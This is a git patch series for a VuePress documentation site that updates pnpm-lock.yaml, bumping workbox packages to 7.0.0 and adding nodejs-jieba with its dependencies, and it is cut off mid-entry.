workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + workbox-core: 7.0.0 dev: true - registry.npmmirror.com/workbox-build/6.5.4: - resolution: {integrity: sha512-kgRevLXEYvUW9WS4XoziYqZ8Q9j/2ziJYEtTrjdz5/L/cTUa2XfyMP2i7c3p34lgqJ03+mTiz13SdFef2POwbA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-build/-/workbox-build-6.5.4.tgz} - name: workbox-build - version: 6.5.4 - engines: {node: '>=10.0.0'} + /workbox-build@7.0.0: + resolution: {integrity: sha512-CttE7WCYW9sZC+nUYhQg3WzzGPr4IHmrPnjKiu3AMXsiNQKx+l4hHl63WTrnicLmKEKHScWDH8xsGBdrYgtBzg==} + engines: {node: '>=16.0.0'} dependencies: - '@apideck/better-ajv-errors': registry.npmmirror.com/@apideck/better-ajv-errors/0.3.3_ajv@8.11.0 - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/preset-env': registry.npmmirror.com/@babel/preset-env/7.17.10_@babel+core@7.17.10 - '@babel/runtime': registry.npmmirror.com/@babel/runtime/7.17.9 - '@rollup/plugin-babel': registry.npmmirror.com/@rollup/plugin-babel/5.3.1_rdqchdyh26wleuqzxvwvgxjg6a - '@rollup/plugin-node-resolve': registry.npmmirror.com/@rollup/plugin-node-resolve/11.2.1_rollup@2.79.1 - '@rollup/plugin-replace': registry.npmmirror.com/@rollup/plugin-replace/2.4.2_rollup@2.79.1 - '@surma/rollup-plugin-off-main-thread': registry.npmmirror.com/@surma/rollup-plugin-off-main-thread/2.2.3 - ajv: registry.npmmirror.com/ajv/8.11.0 - common-tags: registry.npmmirror.com/common-tags/1.8.2 - fast-json-stable-stringify: registry.npmmirror.com/fast-json-stable-stringify/2.1.0 - fs-extra: registry.npmmirror.com/fs-extra/9.1.0 - glob: registry.npmmirror.com/glob/7.2.0 - lodash: registry.npmmirror.com/lodash/4.17.21 - pretty-bytes: registry.npmmirror.com/pretty-bytes/5.6.0 - rollup: registry.npmmirror.com/rollup/2.79.1 - rollup-plugin-terser: registry.npmmirror.com/rollup-plugin-terser/7.0.2_rollup@2.79.1 - source-map: registry.npmmirror.com/source-map/0.8.0-beta.0 - stringify-object: registry.npmmirror.com/stringify-object/3.3.0 - strip-comments: registry.npmmirror.com/strip-comments/2.0.1 - tempy: registry.npmmirror.com/tempy/0.6.0 - upath: registry.npmmirror.com/upath/1.2.0 - workbox-background-sync: registry.npmmirror.com/workbox-background-sync/6.5.4 - workbox-broadcast-update: registry.npmmirror.com/workbox-broadcast-update/6.5.4 - workbox-cacheable-response: registry.npmmirror.com/workbox-cacheable-response/6.5.4 - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 - workbox-expiration: registry.npmmirror.com/workbox-expiration/6.5.4 - workbox-google-analytics: registry.npmmirror.com/workbox-google-analytics/6.5.4 - workbox-navigation-preload: registry.npmmirror.com/workbox-navigation-preload/6.5.4 - workbox-precaching: registry.npmmirror.com/workbox-precaching/6.5.4 - workbox-range-requests: registry.npmmirror.com/workbox-range-requests/6.5.4 - workbox-recipes: registry.npmmirror.com/workbox-recipes/6.5.4 - workbox-routing: registry.npmmirror.com/workbox-routing/6.5.4 - workbox-strategies: registry.npmmirror.com/workbox-strategies/6.5.4 - workbox-streams: registry.npmmirror.com/workbox-streams/6.5.4 - workbox-sw: registry.npmmirror.com/workbox-sw/6.5.4 - workbox-window: registry.npmmirror.com/workbox-window/6.5.4 + '@apideck/better-ajv-errors': 0.3.3(ajv@8.11.0) + '@babel/core': 7.22.8 + '@babel/preset-env': 7.17.10(@babel/core@7.22.8) + '@babel/runtime': 7.17.9 + '@rollup/plugin-babel': 5.3.1(@babel/core@7.22.8)(rollup@2.79.1) + '@rollup/plugin-node-resolve': 11.2.1(rollup@2.79.1) + '@rollup/plugin-replace': 2.4.2(rollup@2.79.1) + '@surma/rollup-plugin-off-main-thread': 2.2.3 + ajv: 8.11.0 + common-tags: 1.8.2 + fast-json-stable-stringify: 2.1.0 + fs-extra: 9.1.0 + glob: 7.2.0 + lodash: 4.17.21 + pretty-bytes: 5.6.0 + rollup: 2.79.1 + rollup-plugin-terser: 7.0.2(rollup@2.79.1) + source-map: 0.8.0-beta.0 + stringify-object: 3.3.0 + strip-comments: 2.0.1 + tempy: 0.6.0 + upath: 1.2.0 + workbox-background-sync: 7.0.0 + workbox-broadcast-update: 7.0.0 + workbox-cacheable-response: 7.0.0 + workbox-core: 7.0.0 + workbox-expiration: 7.0.0 + workbox-google-analytics: 7.0.0 + workbox-navigation-preload: 7.0.0 + workbox-precaching: 7.0.0 + workbox-range-requests: 7.0.0 + workbox-recipes: 7.0.0 + workbox-routing: 7.0.0 + workbox-strategies: 7.0.0 + workbox-streams: 7.0.0 + workbox-sw: 7.0.0 + workbox-window: 7.0.0 transitivePeerDependencies: - '@types/babel__core' - supports-color dev: true - registry.npmmirror.com/workbox-cacheable-response/6.5.4: - resolution: {integrity: sha512-DCR9uD0Fqj8oB2TSWQEm1hbFs/85hXXoayVwFKLVuIuxwJaihBsLsp4y7J9bvZbqtPJ1KlCkmYVGQKrBU4KAug==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-cacheable-response/-/workbox-cacheable-response-6.5.4.tgz} - name: workbox-cacheable-response - version: 6.5.4 + /workbox-cacheable-response@7.0.0: + resolution: {integrity: sha512-0lrtyGHn/LH8kKAJVOQfSu3/80WDc9Ma8ng0p2i/5HuUndGttH+mGMSvOskjOdFImLs2XZIimErp7tSOPmu/6g==} dependencies: - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + workbox-core: 7.0.0 + dev: true + + /workbox-core@7.0.0: + resolution: {integrity: sha512-81JkAAZtfVP8darBpfRTovHg8DGAVrKFgHpOArZbdFd78VqHr5Iw65f2guwjE2NlCFbPFDoez3D3/6ZvhI/rwQ==} dev: true - registry.npmmirror.com/workbox-core/6.5.4: - resolution: {integrity: sha512-OXYb+m9wZm8GrORlV2vBbE5EC1FKu71GGp0H4rjmxmF4/HLbMCoTFws87M3dFwgpmg0v00K++PImpNQ6J5NQ6Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-core/-/workbox-core-6.5.4.tgz} - name: workbox-core - version: 6.5.4 + /workbox-expiration@7.0.0: + resolution: {integrity: sha512-MLK+fogW+pC3IWU9SFE+FRStvDVutwJMR5if1g7oBJx3qwmO69BNoJQVaMXq41R0gg3MzxVfwOGKx3i9P6sOLQ==} + dependencies: + idb: 7.1.1 + workbox-core: 7.0.0 dev: true - registry.npmmirror.com/workbox-expiration/6.5.4: - resolution: {integrity: sha512-jUP5qPOpH1nXtjGGh1fRBa1wJL2QlIb5mGpct3NzepjGG2uFFBn4iiEBiI9GUmfAFR2ApuRhDydjcRmYXddiEQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-expiration/-/workbox-expiration-6.5.4.tgz} - name: workbox-expiration - version: 6.5.4 + /workbox-google-analytics@7.0.0: + resolution: {integrity: sha512-MEYM1JTn/qiC3DbpvP2BVhyIH+dV/5BjHk756u9VbwuAhu0QHyKscTnisQuz21lfRpOwiS9z4XdqeVAKol0bzg==} dependencies: - idb: registry.npmmirror.com/idb/7.1.1 - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + workbox-background-sync: 7.0.0 + workbox-core: 7.0.0 + workbox-routing: 7.0.0 + workbox-strategies: 7.0.0 dev: true - registry.npmmirror.com/workbox-google-analytics/6.5.4: - resolution: {integrity: sha512-8AU1WuaXsD49249Wq0B2zn4a/vvFfHkpcFfqAFHNHwln3jK9QUYmzdkKXGIZl9wyKNP+RRX30vcgcyWMcZ9VAg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-google-analytics/-/workbox-google-analytics-6.5.4.tgz} - name: workbox-google-analytics - version: 6.5.4 + /workbox-navigation-preload@7.0.0: + resolution: {integrity: sha512-juWCSrxo/fiMz3RsvDspeSLGmbgC0U9tKqcUPZBCf35s64wlaLXyn2KdHHXVQrb2cqF7I0Hc9siQalainmnXJA==} dependencies: - workbox-background-sync: registry.npmmirror.com/workbox-background-sync/6.5.4 - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 - workbox-routing: registry.npmmirror.com/workbox-routing/6.5.4 - workbox-strategies: registry.npmmirror.com/workbox-strategies/6.5.4 + workbox-core: 7.0.0 dev: true - registry.npmmirror.com/workbox-navigation-preload/6.5.4: - resolution: {integrity: sha512-IIwf80eO3cr8h6XSQJF+Hxj26rg2RPFVUmJLUlM0+A2GzB4HFbQyKkrgD5y2d84g2IbJzP4B4j5dPBRzamHrng==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-navigation-preload/-/workbox-navigation-preload-6.5.4.tgz} - name: workbox-navigation-preload - version: 6.5.4 + /workbox-precaching@7.0.0: + resolution: {integrity: sha512-EC0vol623LJqTJo1mkhD9DZmMP604vHqni3EohhQVwhJlTgyKyOkMrZNy5/QHfOby+39xqC01gv4LjOm4HSfnA==} dependencies: - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + workbox-core: 7.0.0 + workbox-routing: 7.0.0 + workbox-strategies: 7.0.0 dev: true - registry.npmmirror.com/workbox-precaching/6.5.4: - resolution: {integrity: sha512-hSMezMsW6btKnxHB4bFy2Qfwey/8SYdGWvVIKFaUm8vJ4E53JAY+U2JwLTRD8wbLWoP6OVUdFlXsTdKu9yoLTg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-precaching/-/workbox-precaching-6.5.4.tgz} - name: workbox-precaching - version: 6.5.4 + /workbox-range-requests@7.0.0: + resolution: {integrity: sha512-SxAzoVl9j/zRU9OT5+IQs7pbJBOUOlriB8Gn9YMvi38BNZRbM+RvkujHMo8FOe9IWrqqwYgDFBfv6sk76I1yaQ==} dependencies: - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 - workbox-routing: registry.npmmirror.com/workbox-routing/6.5.4 - workbox-strategies: registry.npmmirror.com/workbox-strategies/6.5.4 + workbox-core: 7.0.0 dev: true - registry.npmmirror.com/workbox-range-requests/6.5.4: - resolution: {integrity: sha512-Je2qR1NXCFC8xVJ/Lux6saH6IrQGhMpDrPXWZWWS8n/RD+WZfKa6dSZwU+/QksfEadJEr/NfY+aP/CXFFK5JFg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-range-requests/-/workbox-range-requests-6.5.4.tgz} - name: workbox-range-requests - version: 6.5.4 + /workbox-recipes@7.0.0: + resolution: {integrity: sha512-DntcK9wuG3rYQOONWC0PejxYYIDHyWWZB/ueTbOUDQgefaeIj1kJ7pdP3LZV2lfrj8XXXBWt+JDRSw1lLLOnww==} dependencies: - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + workbox-cacheable-response: 7.0.0 + workbox-core: 7.0.0 + workbox-expiration: 7.0.0 + workbox-precaching: 7.0.0 + workbox-routing: 7.0.0 + workbox-strategies: 7.0.0 dev: true - registry.npmmirror.com/workbox-recipes/6.5.4: - resolution: {integrity: sha512-QZNO8Ez708NNwzLNEXTG4QYSKQ1ochzEtRLGaq+mr2PyoEIC1xFW7MrWxrONUxBFOByksds9Z4//lKAX8tHyUA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-recipes/-/workbox-recipes-6.5.4.tgz} - name: workbox-recipes - version: 6.5.4 + /workbox-routing@7.0.0: + resolution: {integrity: sha512-8YxLr3xvqidnbVeGyRGkaV4YdlKkn5qZ1LfEePW3dq+ydE73hUUJJuLmGEykW3fMX8x8mNdL0XrWgotcuZjIvA==} dependencies: - workbox-cacheable-response: registry.npmmirror.com/workbox-cacheable-response/6.5.4 - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 - workbox-expiration: registry.npmmirror.com/workbox-expiration/6.5.4 - workbox-precaching: registry.npmmirror.com/workbox-precaching/6.5.4 - workbox-routing: registry.npmmirror.com/workbox-routing/6.5.4 - workbox-strategies: registry.npmmirror.com/workbox-strategies/6.5.4 + workbox-core: 7.0.0 dev: true - registry.npmmirror.com/workbox-routing/6.5.4: - resolution: {integrity: sha512-apQswLsbrrOsBUWtr9Lf80F+P1sHnQdYodRo32SjiByYi36IDyL2r7BH1lJtFX8fwNHDa1QOVY74WKLLS6o5Pg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-routing/-/workbox-routing-6.5.4.tgz} - name: workbox-routing - version: 6.5.4 + /workbox-strategies@7.0.0: + resolution: {integrity: sha512-dg3qJU7tR/Gcd/XXOOo7x9QoCI9nk74JopaJaYAQ+ugLi57gPsXycVdBnYbayVj34m6Y8ppPwIuecrzkpBVwbA==} dependencies: - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + workbox-core: 7.0.0 dev: true - registry.npmmirror.com/workbox-strategies/6.5.4: - resolution: {integrity: sha512-DEtsxhx0LIYWkJBTQolRxG4EI0setTJkqR4m7r4YpBdxtWJH1Mbg01Cj8ZjNOO8etqfA3IZaOPHUxCs8cBsKLw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-strategies/-/workbox-strategies-6.5.4.tgz} - name: workbox-strategies - version: 6.5.4 + /workbox-streams@7.0.0: + resolution: {integrity: sha512-moVsh+5to//l6IERWceYKGiftc+prNnqOp2sgALJJFbnNVpTXzKISlTIsrWY+ogMqt+x1oMazIdHj25kBSq/HQ==} dependencies: - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + workbox-core: 7.0.0 + workbox-routing: 7.0.0 + dev: true + + /workbox-sw@7.0.0: + resolution: {integrity: sha512-SWfEouQfjRiZ7GNABzHUKUyj8pCoe+RwjfOIajcx6J5mtgKkN+t8UToHnpaJL5UVVOf5YhJh+OHhbVNIHe+LVA==} dev: true - registry.npmmirror.com/workbox-streams/6.5.4: - resolution: {integrity: sha512-FXKVh87d2RFXkliAIheBojBELIPnWbQdyDvsH3t74Cwhg0fDheL1T8BqSM86hZvC0ZESLsznSYWw+Va+KVbUzg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-streams/-/workbox-streams-6.5.4.tgz} - name: workbox-streams - version: 6.5.4 + /workbox-window@7.0.0: + resolution: {integrity: sha512-j7P/bsAWE/a7sxqTzXo3P2ALb1reTfZdvVp6OJ/uLr/C2kZAMvjeWGm8V4htQhor7DOvYg0sSbFN2+flT5U0qA==} dependencies: - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 - workbox-routing: registry.npmmirror.com/workbox-routing/6.5.4 + '@types/trusted-types': 2.0.2 + workbox-core: 7.0.0 dev: true - registry.npmmirror.com/workbox-sw/6.5.4: - resolution: {integrity: sha512-vo2RQo7DILVRoH5LjGqw3nphavEjK4Qk+FenXeUsknKn14eCNedHOXWbmnvP4ipKhlE35pvJ4yl4YYf6YsJArA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-sw/-/workbox-sw-6.5.4.tgz} - name: workbox-sw - version: 6.5.4 + /wrap-ansi@6.2.0: + resolution: {integrity: sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==} + engines: {node: '>=8'} + dependencies: + ansi-styles: 4.3.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 dev: true - registry.npmmirror.com/workbox-window/6.5.4: - resolution: {integrity: sha512-HnLZJDwYBE+hpG25AQBO8RUWBJRaCsI9ksQJEp3aCOFCaG5kqaToAYXFRAHxzRluM2cQbGzdQF5rjKPWPA1fug==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/workbox-window/-/workbox-window-6.5.4.tgz} - name: workbox-window - version: 6.5.4 + /wrap-ansi@7.0.0: + resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} + engines: {node: '>=10'} dependencies: - '@types/trusted-types': registry.npmmirror.com/@types/trusted-types/2.0.2 - workbox-core: registry.npmmirror.com/workbox-core/6.5.4 + ansi-styles: 4.3.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 dev: true - registry.npmmirror.com/wrappy/1.0.2: - resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/wrappy/-/wrappy-1.0.2.tgz} - name: wrappy - version: 1.0.2 + /wrappy@1.0.2: + resolution: {integrity: sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=} dev: true - registry.npmmirror.com/xml-js/1.6.11: - resolution: {integrity: sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/xml-js/-/xml-js-1.6.11.tgz} - name: xml-js - version: 1.6.11 + /xml-js@1.6.11: + resolution: {integrity: sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==} hasBin: true dependencies: - sax: registry.npmmirror.com/sax/1.2.4 + sax: 1.2.4 dev: true - registry.npmmirror.com/xmldom-sre/0.1.31: - resolution: {integrity: sha512-f9s+fUkX04BxQf+7mMWAp5zk61pciie+fFLC9hX9UVvCeJQfNHRHXpeo5MPcR0EUf57PYLdt+ZO4f3Ipk2oZUw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/xmldom-sre/-/xmldom-sre-0.1.31.tgz} - name: xmldom-sre - version: 0.1.31 + /xmldom-sre@0.1.31: + resolution: {integrity: sha512-f9s+fUkX04BxQf+7mMWAp5zk61pciie+fFLC9hX9UVvCeJQfNHRHXpeo5MPcR0EUf57PYLdt+ZO4f3Ipk2oZUw==} engines: {node: '>=0.1'} dev: true - registry.npmmirror.com/yallist/4.0.0: - resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/yallist/-/yallist-4.0.0.tgz} - name: yallist - version: 4.0.0 + /y18n@4.0.3: + resolution: {integrity: sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==} + dev: true + + /y18n@5.0.8: + resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==} + engines: {node: '>=10'} + dev: true + + /yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + dev: true + + /yallist@4.0.0: + resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} + dev: true + + /yaml@1.10.2: + resolution: {integrity: sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==} + engines: {node: '>= 6'} dev: true - registry.npmmirror.com/yaml/2.1.3: - resolution: {integrity: sha512-AacA8nRULjKMX2DvWvOAdBZMOfQlypSFkjcOcu9FalllIDJ1kvlREzcdIZmidQUqqeMv7jorHjq2HlLv/+c2lg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/yaml/-/yaml-2.1.3.tgz} - name: yaml - version: 2.1.3 + /yaml@2.1.3: + resolution: {integrity: sha512-AacA8nRULjKMX2DvWvOAdBZMOfQlypSFkjcOcu9FalllIDJ1kvlREzcdIZmidQUqqeMv7jorHjq2HlLv/+c2lg==} engines: {node: '>= 14'} dev: true - registry.npmmirror.com/zrender/5.4.0: - resolution: {integrity: sha512-rOS09Z2HSVGFs2dn/TuYk5BlCaZcVe8UDLLjj1ySYF828LATKKdxuakSZMvrDz54yiKPDYVfjdKqcX8Jky3BIA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/zrender/-/zrender-5.4.0.tgz} - name: zrender - version: 5.4.0 + /yargs-parser@18.1.3: + resolution: {integrity: sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==} + engines: {node: '>=6'} + dependencies: + camelcase: 5.3.1 + decamelize: 1.2.0 + dev: true + + /yargs-parser@20.2.9: + resolution: {integrity: sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==} + engines: {node: '>=10'} + dev: true + + /yargs-parser@21.0.1: + resolution: {integrity: sha512-9BK1jFpLzJROCI5TzwZL/TU4gqjK5xiHV/RfWLOahrjAko/e4DJkRDZQXfvqAsiZzzYhgAzbgz6lg48jcm4GLg==} + engines: {node: '>=12'} + dev: true + + /yargs@15.4.1: + resolution: {integrity: sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==} + engines: {node: '>=8'} + dependencies: + cliui: 6.0.0 + decamelize: 1.2.0 + find-up: 4.1.0 + get-caller-file: 2.0.5 + require-directory: 2.1.1 + require-main-filename: 2.0.0 + set-blocking: 2.0.0 + string-width: 4.2.3 + which-module: 2.0.1 + y18n: 4.0.3 + yargs-parser: 18.1.3 + dev: true + + /yargs@17.5.1: + resolution: {integrity: sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==} + engines: {node: '>=12'} + dependencies: + cliui: 7.0.4 + escalade: 3.1.1 + get-caller-file: 2.0.5 + require-directory: 2.1.1 + string-width: 4.2.3 + y18n: 5.0.8 + yargs-parser: 21.0.1 + dev: true + + /yn@3.1.1: + resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==} + engines: {node: '>=6'} + dev: true + + /yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + dev: true + + /zrender@5.4.3: + resolution: {integrity: sha512-DRUM4ZLnoaT0PBVvGBDO9oWIDBKFdAVieNWxWwK0niYzJCMwGchRk21/hsE+RKkIveH3XHCyvXcJDkgLVvfizQ==} dependencies: - tslib: registry.npmmirror.com/tslib/2.3.0 + tslib: 2.3.0 dev: true From 0e40292e73d1e7cf2345c7fd9b734cbe01624591 Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Mon, 10 Jul 2023 22:59:39 +0800 Subject: [PATCH 02/26] =?UTF-8?q?feat:=20=F0=9F=8E=B8=20=E9=85=8D=E7=BD=AE?= =?UTF-8?q?=E9=A1=B9=E5=8D=87=E7=BA=A7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 3 + pnpm-lock.yaml | 698 ++++++++++++++++-- src/.vuepress/config.ts | 6 + src/.vuepress/theme.ts | 20 +- ...33\350\203\275\345\212\233\357\274\237.md" | 64 -- src/README.md | 2 +- 6 files changed, 672 insertions(+), 121 deletions(-) delete mode 100644 "src/JavaScript/\346\236\204\345\273\272\345\267\245\345\205\267\345\272\224\350\257\245\345\214\205\345\220\253\345\223\252\344\272\233\350\203\275\345\212\233\357\274\237.md" diff --git a/package.json b/package.json index 82adb588..1dbce1e3 100644 --- a/package.json +++ b/package.json @@ -26,5 +26,8 @@ "vuepress": "^2.0.0-beta.64", "vuepress-plugin-search-pro": "2.0.0-beta.231", "vuepress-theme-hope": "^2.0.0-beta.231" + }, + "dependencies": { + "nodejs-jieba": "^0.0.2" } } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 03d068db..be5678a4 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -4,6 +4,11 @@ settings: autoInstallPeers: true excludeLinksFromLockfile: false +dependencies: + nodejs-jieba: + specifier: ^0.0.2 + version: 0.0.2 + devDependencies: '@commitlint/cli': specifier: ^17.0.3 @@ -1566,6 +1571,18 @@ packages: dev: true optional: true + /@isaacs/cliui@8.0.2: + resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} + engines: {node: '>=12'} + dependencies: + string-width: 5.1.2 + string-width-cjs: /string-width@4.2.3 + strip-ansi: 7.0.1 + strip-ansi-cjs: /strip-ansi@6.0.1 + wrap-ansi: 8.1.0 + wrap-ansi-cjs: /wrap-ansi@7.0.0 + dev: false + /@jridgewell/gen-mapping@0.1.1: resolution: {integrity: sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==} engines: {node: '>=6.0.0'} @@ -1636,6 +1653,24 @@ packages: '@lit-labs/ssr-dom-shim': 1.1.1 dev: true + /@mapbox/node-pre-gyp@1.0.10: + resolution: {integrity: sha512-4ySo4CjzStuprMwk35H5pPbkymjv1SF3jGLj6rAHp/xT/RF7TL7bd9CTm1xDY49K2qF7jmR/g7k+SkLETP6opA==} + hasBin: true + dependencies: + detect-libc: 2.0.1 + https-proxy-agent: 5.0.1 + make-dir: 3.1.0 + node-fetch: 2.6.12 + nopt: 5.0.0 + npmlog: 5.0.1 + rimraf: 3.0.2 + semver: 7.5.4 + tar: 6.1.15 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + /@maverick-js/signals@5.11.2: resolution: {integrity: sha512-jKAyNE2O7H+xrigPoqdV0Iq2AeQ6cysfBf/b2jasJ4FfCUKjGyazgtp+pIspTW6skFvpPrvq40Qft+7HuR+Tlg==} dev: true @@ -1887,6 +1922,20 @@ packages: fastq: 1.13.0 dev: true + /@npmcli/fs@3.1.0: + resolution: {integrity: sha512-7kZUAaLscfgbwBQRbvdMYaZOWyMEcPTH/tJjnyAWJ/dvvs9Ef+CERx/qJb9GExJpl1qipaDGn7KqHnFGGixd0w==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + dependencies: + semver: 7.5.4 + dev: false + + /@pkgjs/parseargs@0.11.0: + resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==} + engines: {node: '>=14'} + requiresBuild: true + dev: false + optional: true + /@rollup/plugin-babel@5.3.1(@babel/core@7.22.8)(rollup@2.79.1): resolution: {integrity: sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==} engines: {node: '>= 10.0.0'} @@ -1954,6 +2003,11 @@ packages: string.prototype.matchall: 4.0.7 dev: true + /@tootallnate/once@2.0.0: + resolution: {integrity: sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==} + engines: {node: '>= 10'} + dev: false + /@tsconfig/node10@1.0.9: resolution: {integrity: sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==} dev: true @@ -2510,6 +2564,10 @@ packages: through: 2.3.8 dev: true + /abbrev@1.1.1: + resolution: {integrity: sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==} + dev: false + /abortcontroller-polyfill@1.7.5: resolution: {integrity: sha512-JMJ5soJWP18htbbxJjG7bG6yuI6pRhgJ0scHHTfkUjf6wjP912xZWvM+A4sJK3gqd9E8fcPbDnOefbA9Th/FIQ==} dev: true @@ -2525,6 +2583,34 @@ packages: hasBin: true dev: true + /agent-base@6.0.2: + resolution: {integrity: sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==} + engines: {node: '>= 6.0.0'} + dependencies: + debug: 4.3.4 + transitivePeerDependencies: + - supports-color + dev: false + + /agentkeepalive@4.3.0: + resolution: {integrity: sha512-7Epl1Blf4Sy37j4v9f9FjICCh4+KAQOyXgHEwlyBiAQLbhKdq/i2QQU3amQalS/wPhdPzDXPL5DMR5bkn+YeWg==} + engines: {node: '>= 8.0.0'} + dependencies: + debug: 4.3.4 + depd: 2.0.0 + humanize-ms: 1.2.1 + transitivePeerDependencies: + 